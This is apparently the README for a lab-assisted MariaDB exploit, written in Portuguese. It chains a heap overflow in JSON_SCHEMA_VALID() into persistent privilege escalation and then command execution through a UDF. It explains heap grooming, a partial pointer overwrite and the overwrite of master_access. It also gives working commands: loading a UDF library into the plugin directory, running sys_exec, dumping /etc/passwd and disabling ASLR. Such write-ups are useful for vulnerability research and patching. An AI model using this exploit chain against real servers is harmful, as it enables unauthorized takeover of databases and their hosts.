
# Escrita fora dos limites (OOB) no heap em MariaDB JSON_SCHEMA_VALID() → escalonamento persistente de privilégios (assistido por laboratório)
Estouro de buffer no heap em JSON_SCHEMA_VALID() do MariaDB → escalonamento persistente de privilégios → RCE via UDF
| Afetado | MariaDB 11.4.x (confirmado na 11.4.9) |
| Bug | Escrita fora dos limites em json_get_normalized_string() — strncpy em DYNAMIC_STRING de 128 bytes sem verificação de limites |
| Impacto | Usuário somente com SELECT → ALL PRIVILEGES WITH GRANT OPTION → execução arbitrária de comandos via UDF |
| Fonte | sql/json_schema_helper.cc:91 |
Assistido por laboratório. O script usa Docker/introspecção como root para ler
/proc/1/meme descobrir o layout do heap por conexão. A cadeia de exploração real é SQL puro via TCP. Um exploit armamentizado precisaria de uma primitiva de vazamento de informações para substituir a etapa de introspecção de memória.
lowpriv só pode executar SELECT no banco test. As tabelas do sistema são negadas.

Um único script Python realiza o preparo do heap, uma escrita arbitrária em dois saltos
através dos metadados de variáveis de usuário, persiste o escalonamento via GRANT ALL,
e alcança execução de código através de uma UDF:
python3 exploit.py

lowpriv agora tem ALL PRIVILEGES WITH GRANT OPTION, pode ler tabelas do sistema,
ler/gravar arquivos arbitrários e executar comandos do SO como o usuário mysql.
A concessão sobrevive à reinicialização do servidor.


┌──────────────────────────────────────────────────────────────────┐
│ SELECT json_schema_valid(overflow), │
│ @ccc...c := hop1, │
│ @aaa...a := hop2 │
└──────────────────────────────────────────────────────────────────┘
│ │ │
▼ ▼ ▼
┌───────────┐ ┌──────────────┐ ┌──────────────┐
│ 192-byte │ │ Write to @c │ │ Write to @a │
│ overflow │ │ through the │ │ through the │
│ corrupts │ │ corrupted │ │ redirected │
│ entry_c's │ │ pointer: │ │ pointer: │
│ value ptr │ │ │ │ │
│ (2-byte │ │ entry_a → │ │ master_access│
│ partial │ │ .value = │ │ = 0xFFFF.. │
│ overwrite)│ │ &master_ │ │ (ALL PRIVS) │
│ │ │ access │ │ │
└───────────┘ │ .length= 9 │ └──────────────┘
└──────────────┘
Preparo do heap — mais de 100 variáveis de usuário esgotam o tcache, forçando
Entry_a → Value_a → Entry_b → Value_b → Entry_c → Value_c a serem
alocados consecutivamente.
Estouro — JSON_SCHEMA_VALID dispara um strncpy de 192 bytes além
do buffer de 128 bytes, corrompendo entry_c→value (sobrescrita parcial de ponteiro
de 2 bytes dentro da mesma página de 64 KB) para apontar para entry_a + 32.
Salto 1 — Atribuir a @c grava 126 bytes através do ponteiro
corrompido nos metadados de entry_a, definindo:
entry_a→value = &Security_context::master_accessentry_a→length = 9Salto 2 — Atribuir a @a grava 8 bytes de 0xFF através do
ponteiro redirecionado → .
Após a persistência, o servidor é reiniciado (recuperação de crash), e os privilégios escalonados são usados para instalar uma biblioteca compartilhada de UDF:
LOAD_FILE('/tmp/raptor_udf.so') INTO DUMPFILE '/usr/lib/mysql/plugin/raptor.so'CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'raptor.so'SELECT sys_exec('id > /tmp/pwned')# 1. Compilar e iniciar o contêiner
./setup.sh
# 2. Desabilitar ASLR no host Docker
sudo sh -c 'echo 0 > /proc/sys/kernel/randomize_va_space'
# 3. Executar o exploit (autocalibra a cada tentativa)
python3 exploit.py
# 4. Comando personalizado
python3 exploit.py --cmd 'cat /etc/passwd > /tmp/out'
/proc/sys/kernel/randomize_va_space = 0)--cap-add SYS_PTRACE (para acesso a /proc/1/mem)--calibrate Medir as constantes do layout do heap e sair
--cmd CMD Comando para execução de UDF na Etapa 2 (padrão: id > /tmp/pwned)
--stage1-only Executar apenas o escalonamento de privilégios, pular RCE via UDF
--attempts N Máximo de tentativas da Etapa 1 (padrão: 5)
--host HOST Host do MariaDB (padrão: 127.0.0.1)
--port PORT Porta do MariaDB (padrão: 3306)
O script do exploit acessa o contêiner como root para ler /proc/1/mem.
Isso é usado para duas coisas:
user_var_entry
e verificar se são adjacentes (entry_a+32 dentro da mesma página de 64 KB
que entry_c→value para a sobrescrita parcial de 2 bytes).Security_context — encontrar o campo master_access para
ser o alvo da escrita em dois saltos.A varredura é executada inline para cada tentativa porque o layout do heap varia entre conexões (mesmo com ASLR=0) devido ao pool de threads do MariaDB atribuir arenas diferentes. A cadeia de exploração real — estouro + salto 1 + salto 2 — é SQL puro executado por uma conexão TCP.
Em um cenário do mundo real, um atacante precisaria de uma vulnerabilidade separada de vazamento de informações (ou um canal lateral) para obter esses endereços.
entry_a→valuemaster_access = ALL PRIVILEGESPersistir — A sessão agora detém todos os privilégios. GRANT ALL confirma
o escalonamento na tabela mysql.global_priv com suporte a Aria. A sessão
eventualmente trava durante a limpeza (corrupção residual do heap), mas o
GRANT já foi registrado em checkpoint e sobrevive à reinicialização.
| Restrição | Solução |
|---|
STRING_RESULT faz length++ antes da verificação de realocação | O payload tem N−1 bytes, então N−1+1 = N corresponde ao comprimento armazenado → sem realocação no ponteiro corrompido |
O salto 2 de 126 bytes corrompe campos de THD além de Security_context | Definir entry_a→length = 9 no salto 1 para que o salto 2 grave apenas 8 bytes (master_access) + 1 NUL |
Offset de master_access em Security_context | 1712 bytes a partir da base da struct (priv_user[384] + proxy_user[645] + priv_host[256] + priv_role[384] + padding + ponteiros) |
| A recuperação de crash do Aria reverte gravações não confirmadas | GRANT ALL + SLEEP de 10 s permite o checkpoint do Aria antes do crash de limpeza da sessão |
| O layout do heap varia entre conexões (mesmo com ASLR=0) | A varredura inline de /proc/1/mem por tentativa descobre entry_a e master_access para cada conexão |
| plugin_dir pertence ao root | O Dockerfile pré-configura chmod 777 (conveniência de laboratório) |
| Arquivo | Descrição |
|---|
exploit.py | Exploit em duas etapas: escalonamento de privilégios (SQL via TCP) + RCE via UDF |
raptor_udf.c | Código-fonte da UDF — sys_exec() chama system() |
Dockerfile | Imagem do contêiner do laboratório (compila a UDF, abre plugin_dir) |
init.sql | Cria o usuário lowpriv |
setup.sh | Compila e inicia o laboratório |
screenshots/ | Capturas de tela do terminal |